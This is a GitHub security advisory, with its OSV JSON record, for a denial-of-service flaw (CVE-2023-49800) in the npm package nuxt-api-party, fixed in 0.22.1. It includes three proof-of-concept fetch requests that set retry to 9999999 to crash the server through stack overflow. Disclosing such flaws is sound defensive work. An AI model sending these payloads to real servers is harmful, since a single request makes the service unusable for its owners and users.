GHSA-Q6HX-3M4P-749H

Vulnerability from github – Published: 2023-12-11 20:29 – Updated: 2023-12-11 20:29
VLAI
Summary
DOS by abusing `fetchOptions.retry`.
Details

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.

The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.

Details

fetchOptions are obtained directly from the request body. These are then passed directly into ofetch .

We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.

PoC

POC using Node.

await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "x:x", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known.

await fetch("http://localhost:3000/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "x:x", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

We can build the size of the stack faster by using more complicated URIs

await fetch("http://localhost:3000/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

Impact

Full DOS, server is unusable during attack. Requires a single request.

Fix

Limit which options can be passed to ofetch.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-api-party"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-11T20:29:10Z",
    "nvd_published_at": "2023-12-09T00:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n",
  "id": "GHSA-q6hx-3m4p-749h",
  "modified": "2023-12-11T20:29:10Z",
  "published": "2023-12-11T20:29:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-q6hx-3m4p-749h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49800"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/johannschopplich/nuxt-api-party"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOS by abusing `fetchOptions.retry`. "
}


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